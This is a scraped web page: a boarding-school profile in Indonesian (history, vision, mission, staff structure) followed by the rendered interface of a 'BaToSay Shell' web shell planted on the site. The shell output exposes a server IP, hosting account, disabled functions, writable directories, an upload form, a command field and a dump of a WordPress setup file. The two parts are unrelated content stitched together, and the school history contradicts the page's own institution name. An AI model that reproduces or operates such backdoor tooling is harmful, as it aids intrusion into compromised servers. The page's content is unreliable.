Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 13.58.210.96
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-admin/setup-config.php
<?php
/**
 * Retrieves and creates the wp-config.php file.
 *
 * The permissions for the base directory must allow for writing files in order
 * for the wp-config.php to be created using this page.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * We are installing.
 */
define( 'WP_INSTALLING', true );

/**
 * We are blissfully unaware of anything.
 */
define( 'WP_SETUP_CONFIG', true );

/**
 * Disable error reporting
 *
 * Set this to error_reporting( -1 ) for debugging
 */
error_reporting( 0 );

if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
}

require ABSPATH . 'wp-settings.php';

/** Load WordPress Administration Upgrade API */
require_once ABSPATH . 'wp-admin/includes/upgrade.php';

/** Load WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

nocache_headers();

// Support wp-config-sample.php one level up, for the develop repo.
if ( file_exists( ABSPATH . 'wp-config-sample.php' ) ) {
	$config_file = file( ABSPATH . 'wp-config-sample.php' );
} elseif ( file_exists( dirname( ABSPATH ) . '/wp-config-sample.php' ) ) {
	$config_file = file( dirname( ABSPATH ) . '/wp-config-sample.php' );
} else {
	wp_die(
		sprintf(
			/* translators: %s: wp-config-sample.php */
			__( 'Sorry, I need a %s file to work from. Please re-upload this file to your WordPress installation.' ),
			'<code>wp-config-sample.php</code>'
		)
	);
}

// Check if wp-config.php has been created.
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {
	wp_die(
		'<p>' . sprintf(
			/* translators: 1: wp-config.php, 2: install.php */
			__( 'The file %1$s already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
			'<code>wp-config.php</code>',
			'install.php'
		) . '</p>',
		409
	);
}

// Check if wp-config.php exists above the root directory but is not part of another installation.
if ( @file_exists( ABSPATH . '../wp-config.php' ) && ! @file_exists( ABSPATH . '../wp-settings.php' ) ) {
	wp_die(
		'<p>' . sprintf(
			/* translators: 1: wp-config.php, 2: install.php */
			__( 'The file %1$s already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
			'<code>wp-config.php</code>',
			'install.php'
		) . '</p>',
		409
	);
}

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : -1;

/**
 * Display setup wp-config.php file header.
 *
 * @ignore
 * @since 2.3.0
 *
 * @param string|string[] $body_classes Class attribute values for the body tag.
 */
function setup_config_display_header( $body_classes = array() ) {
	$body_classes   = (array) $body_classes;
	$body_classes[] = 'wp-core-ui';
	$dir_attr       = '';
	if ( is_rtl() ) {
		$body_classes[] = 'rtl';
		$dir_attr       = ' dir="rtl"';
	}

	header( 'Content-Type: text/html; charset=utf-8' );
	?>
<!DOCTYPE html>
<html<?php echo $dir_attr; ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Setup Configuration File' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="<?php echo implode( ' ', $body_classes ); ?>">
<p id="logo"><?php _e( 'WordPress' ); ?></p>
	<?php
} // End function setup_config_display_header();

/**
 * @global string    $wp_local_package Locale code of the package.
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 */
$language = '';
if ( ! empty( $_REQUEST['language'] ) ) {
	$language = preg_replace( '/[^a-zA-Z0-9_]/', '', $_REQUEST['language'] );
} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
	$language = $GLOBALS['wp_local_package'];
}

switch ( $step ) {
	case -1:
		if ( wp_can_install_language_pack() && empty( $language ) ) {
			$languages = wp_get_available_translations();
			if ( $languages ) {
				setup_config_display_header( 'language-chooser' );
				echo '<h1 class="screen-reader-text">Select a default language</h1>';
				echo '<form id="setup" method="post" action="?step=0">';
				wp_install_language_form( $languages );
				echo '</form>';
				break;
			}
		}

		// Deliberately fall through if we can't reach the translations API.

	case 0:
		if ( ! empty( $language ) ) {
			$loaded_language = wp_download_language_pack( $language );
			if ( $loaded_language ) {
				load_default_textdomain( $loaded_language );
				$GLOBALS['wp_locale'] = new WP_Locale();
			}
		}

		setup_config_display_header();
		$step_1 = 'setup-config.php?step=1';
		if ( isset( $_REQUEST['noapi'] ) ) {
			$step_1 .= '&amp;noapi';
		}
		if ( ! empty( $loaded_language ) ) {
			$step_1 .= '&amp;language=' . $loaded_language;
		}
		?>
<h1 class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Before getting started' );
		?>
</h1>
<p><?php _e( 'Welcome to WordPress. Before getting started, you will need to know the following items.' ); ?></p>
<ol>
	<li><?php _e( 'Database name' ); ?></li>
	<li><?php _e( 'Database username' ); ?></li>
	<li><?php _e( 'Database password' ); ?></li>
	<li><?php _e( 'Database host' ); ?></li>
	<li><?php _e( 'Table prefix (if you want to run more than one WordPress in a single database)' ); ?></li>
</ol>
<p>
		<?php
		printf(
			/* translators: %s: wp-config.php */
			__( 'This information is being used to create a %s file.' ),
			'<code>wp-config.php</code>'
		);
		?>
	<strong>
		<?php
		printf(
			/* translators: 1: wp-config-sample.php, 2: wp-config.php */
			__( 'If for any reason this automatic file creation does not work, do not worry. All this does is fill in the database information to a configuration file. You may also simply open %1$s in a text editor, fill in your information, and save it as %2$s.' ),
			'<code>wp-config-sample.php</code>',
			'<code>wp-config.php</code>'
		);
		?>
	</strong>
		<?php
		printf(
			/* translators: 1: Documentation URL, 2: wp-config.php */
			__( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ),
			__( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ),
			'<code>wp-config.php</code>'
		);
		?>
</p>
<p><?php _e( 'In all likelihood, these items were supplied to you by your web host. If you do not have this information, then you will need to contact them before you can continue. If you are ready&hellip;' ); ?></p>

<p class="step"><a href="<?php echo $step_1; ?>" class="button button-large"><?php _e( 'Let&#8217;s go!' ); ?></a></p>
		<?php
		break;

	case 1:
		load_default_textdomain( $language );
		$GLOBALS['wp_locale'] = new WP_Locale();

		setup_config_display_header();

		$autofocus = wp_is_mobile() ? '' : ' autofocus';
		?>
<h1 class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Set up your database connection' );
		?>
</h1>
<form method="post" action="setup-config.php?step=2">
	<p><?php _e( 'Below you should enter your database connection details. If you are not sure about these, contact your host.' ); ?></p>
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="dbname"><?php _e( 'Database Name' ); ?></label></th>
			<td><input name="dbname" id="dbname" type="text" aria-describedby="dbname-desc" size="25" placeholder="wordpress"<?php echo $autofocus; ?>/>
			<p id="dbname-desc"><?php _e( 'The name of the database you want to use with WordPress.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><label for="uname"><?php _e( 'Username' ); ?></label></th>
			<td><input name="uname" id="uname" type="text" aria-describedby="uname-desc" size="25" placeholder="<?php echo htmlspecialchars( _x( 'username', 'example username' ), ENT_QUOTES ); ?>" />
			<p id="uname-desc"><?php _e( 'Your database username.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><label for="pwd"><?php _e( 'Password' ); ?></label></th>
			<td>
				<div class="wp-pwd">
					<input name="pwd" id="pwd" type="password" class="regular-text" data-reveal="1" aria-describedby="pwd-desc" size="25" placeholder="<?php echo htmlspecialchars( _x( 'password', 'example password' ), ENT_QUOTES ); ?>" autocomplete="off" spellcheck="false" />
					<button type="button" class="button pwd-toggle hide-if-no-js" data-toggle="0" data-start-masked="1" aria-label="<?php esc_attr_e( 'Show password' ); ?>">
						<span class="dashicons dashicons-visibility"></span>
						<span class="text"><?php _e( 'Show' ); ?></span>
					</button>
				</div>
				<p id="pwd-desc"><?php _e( 'Your database password.' ); ?></p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="dbhost"><?php _e( 'Database Host' ); ?></label></th>
			<td><input name="dbhost" id="dbhost" type="text" aria-describedby="dbhost-desc" size="25" value="localhost" />
			<p id="dbhost-desc">
			<?php
				/* translators: %s: localhost */
				printf( __( 'You should be able to get this info from your web host, if %s does not work.' ), '<code>localhost</code>' );
			?>
			</p></td>
		</tr>
		<tr>
			<th scope="row"><label for="prefix"><?php _e( 'Table Prefix' ); ?></label></th>
			<td><input name="prefix" id="prefix" type="text" aria-describedby="prefix-desc" value="wp_" size="25" />
			<p id="prefix-desc"><?php _e( 'If you want to run multiple WordPress installations in a single database, change this.' ); ?></p></td>
		</tr>
	</table>
		<?php
		if ( isset( $_GET['noapi'] ) ) {
			?>
<input name="noapi" type="hidden" value="1" /><?php } ?>
	<input type="hidden" name="language" value="<?php echo esc_attr( $language ); ?>" />
	<p class="step"><input name="submit" type="submit" value="<?php echo htmlspecialchars( __( 'Submit' ), ENT_QUOTES ); ?>" class="button button-large" /></p>
</form>
		<?php
		wp_print_scripts( 'password-toggle' );
		break;

	case 2:
		load_default_textdomain( $language );
		$GLOBALS['wp_locale'] = new WP_Locale();

		$dbname = trim( wp_unslash( $_POST['dbname'] ) );
		$uname  = trim( wp_unslash( $_POST['uname'] ) );
		$pwd    = trim( wp_unslash( $_POST['pwd'] ) );
		$dbhost = trim( wp_unslash( $_POST['dbhost'] ) );
		$prefix = trim( wp_unslash( $_POST['prefix'] ) );

		$step_1  = 'setup-config.php?step=1';
		$install = 'install.php';
		if ( isset( $_REQUEST['noapi'] ) ) {
			$step_1 .= '&amp;noapi';
		}

		if ( ! empty( $language ) ) {
			$step_1  .= '&amp;language=' . $language;
			$install .= '?language=' . $language;
		} else {
			$install .= '?language=en_US';
		}

		$tryagain_link = '</p><p class="step"><a href="' . $step_1 . '" onclick="javascript:history.go(-1);return false;" class="button button-large">' . __( 'Try Again' ) . '</a>';

		if ( empty( $prefix ) ) {
			wp_die( __( '<strong>Error:</strong> "Table Prefix" must not be empty.' ) . $tryagain_link );
		}

		// Validate $prefix: it can only contain letters, numbers and underscores.
		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
			wp_die( __( '<strong>Error:</strong> "Table Prefix" can only contain numbers, letters, and underscores.' ) . $tryagain_link );
		}

		// Test the DB connection.
		/**#@+
		 *
		 * @ignore
		 */
		define( 'DB_NAME', $dbname );
		define( 'DB_USER', $uname );
		define( 'DB_PASSWORD', $pwd );
		define( 'DB_HOST', $dbhost );
		/**#@-*/

		// Re-construct $wpdb with these new values.
		unset( $wpdb );
		require_wp_db();

		/*
		* The wpdb constructor bails when WP_SETUP_CONFIG is set, so we must
		* fire this manually. We'll fail here if the values are no good.
		*/
		$wpdb->db_connect();

		if ( ! empty( $wpdb->error ) ) {
			wp_die( $wpdb->error->get_error_message() . $tryagain_link );
		}

		$errors = $wpdb->suppress_errors();
		$wpdb->query( "SELECT $prefix" );
		$wpdb->suppress_errors( $errors );

		if ( ! $wpdb->last_error ) {
			// MySQL was able to parse the prefix as a value, which we don't want. Bail.
			wp_die( __( '<strong>Error:</strong> "Table Prefix" is invalid.' ) );
		}

		// Generate keys and salts using secure CSPRNG; fallback to API if enabled; further fallback to original wp_generate_password().
		try {
			$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
			$max   = strlen( $chars ) - 1;
			for ( $i = 0; $i < 8; $i++ ) {
				$key = '';
				for ( $j = 0; $j < 64; $j++ ) {
					$key .= substr( $chars, random_int( 0, $max ), 1 );
				}
				$secret_keys[] = $key;
			}
		} catch ( Exception $ex ) {
			$no_api = isset( $_POST['noapi'] );

			if ( ! $no_api ) {
				$secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
			}

			if ( $no_api || is_wp_error( $secret_keys ) ) {
				$secret_keys = array();
				for ( $i = 0; $i < 8; $i++ ) {
					$secret_keys[] = wp_generate_password( 64, true, true );
				}
			} else {
				$secret_keys = explode( "\n", wp_remote_retrieve_body( $secret_keys ) );
				foreach ( $secret_keys as $k => $v ) {
					$secret_keys[ $k ] = substr( $v, 28, 64 );
				}
			}
		}

		$key = 0;
		foreach ( $config_file as $line_num => $line ) {
			if ( str_starts_with( $line, '$table_prefix =' ) ) {
				$config_file[ $line_num ] = '$table_prefix = \'' . addcslashes( $prefix, "\\'" ) . "';\r\n";
				continue;
			}

			if ( ! preg_match( '/^define\(\s*\'([A-Z_]+)\',([ ]+)/', $line, $match ) ) {
				continue;
			}

			$constant = $match[1];
			$padding  = $match[2];

			switch ( $constant ) {
				case 'DB_NAME':
				case 'DB_USER':
				case 'DB_PASSWORD':
				case 'DB_HOST':
					$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . addcslashes( constant( $constant ), "\\'" ) . "' );\r\n";
					break;
				case 'DB_CHARSET':
					if ( 'utf8mb4' === $wpdb->charset || ( ! $wpdb->charset ) ) {
						$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'utf8mb4' );\r\n";
					}
					break;
				case 'AUTH_KEY':
				case 'SECURE_AUTH_KEY':
				case 'LOGGED_IN_KEY':
				case 'NONCE_KEY':
				case 'AUTH_SALT':
				case 'SECURE_AUTH_SALT':
				case 'LOGGED_IN_SALT':
				case 'NONCE_SALT':
					$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . $secret_keys[ $key++ ] . "' );\r\n";
					break;
			}
		}
		unset( $line );

		if ( ! is_writable( ABSPATH ) ) :
			setup_config_display_header();
			?>
<p>
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'Unable to write to %s file.' ), '<code>wp-config.php</code>' );
			?>
</p>
<p id="wp-config-description">
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'You can create the %s file manually and paste the following text into it.' ), '<code>wp-config.php</code>' );

			$config_text = '';

			foreach ( $config_file as $line ) {
				$config_text .= htmlentities( $line, ENT_COMPAT, 'UTF-8' );
			}
			?>
</p>
<p class="configuration-rules-label"><label for="wp-config">
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'Configuration rules for %s:' ), '<code>wp-config.php</code>' );
			?>
	</label></p>
<textarea id="wp-config" cols="98" rows="15" class="code" readonly="readonly" aria-describedby="wp-config-description"><?php echo $config_text; ?></textarea>
<p><?php _e( 'After you&#8217;ve done that, click &#8220;Run the installation&#8221;.' ); ?></p>
<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
<script>
(function(){
if ( ! /iPad|iPod|iPhone/.test( navigator.userAgent ) ) {
	var el = document.getElementById('wp-config');
	el.focus();
	el.select();
}
})();
</script>
			<?php
		else :
			/*
			 * If this file doesn't exist, then we are using the wp-config-sample.php
			 * file one level up, which is for the develop repo.
			 */
			if ( file_exists( ABSPATH . 'wp-config-sample.php' ) ) {
				$path_to_wp_config = ABSPATH . 'wp-config.php';
			} else {
				$path_to_wp_config = dirname( ABSPATH ) . '/wp-config.php';
			}

			$error_message = '';
			$handle        = fopen( $path_to_wp_config, 'w' );
			/*
			 * Why check for the absence of false instead of checking for resource with is_resource()?
			 * To future-proof the check for when fopen returns object instead of resource, i.e. a known
			 * change coming in PHP.
			 */
			if ( false !== $handle ) {
				foreach ( $config_file as $line ) {
					fwrite( $handle, $line );
				}
				fclose( $handle );
			} else {
				$wp_config_perms = fileperms( $path_to_wp_config );
				if ( ! empty( $wp_config_perms ) && ! is_writable( $path_to_wp_config ) ) {
					$error_message = sprintf(
						/* translators: 1: wp-config.php, 2: Documentation URL. */
						__( 'You need to make the file %1$s writable before you can save your changes. See <a href="%2$s">Changing File Permissions</a> for more information.' ),
						'<code>wp-config.php</code>',
						__( 'https://developer.wordpress.org/advanced-administration/server/file-permissions/' )
					);
				} else {
					$error_message = sprintf(
						/* translators: %s: wp-config.php */
						__( 'Unable to write to %s file.' ),
						'<code>wp-config.php</code>'
					);
				}
			}

			chmod( $path_to_wp_config, 0666 );
			setup_config_display_header();

			if ( false !== $handle ) :
				?>
<h1 class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Successful database connection' );
				?>
</h1>
<p><?php _e( 'All right, sparky! You&#8217;ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to&hellip;' ); ?></p>

<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
				<?php
			else :
				printf( '<p>%s</p>', $error_message );
			endif;
		endif;
		break;
} // End of the steps switch.
?>
<?php wp_print_scripts( 'language-chooser' ); ?>
</body>
</html>

Batosay - 2023
IDNSEO Team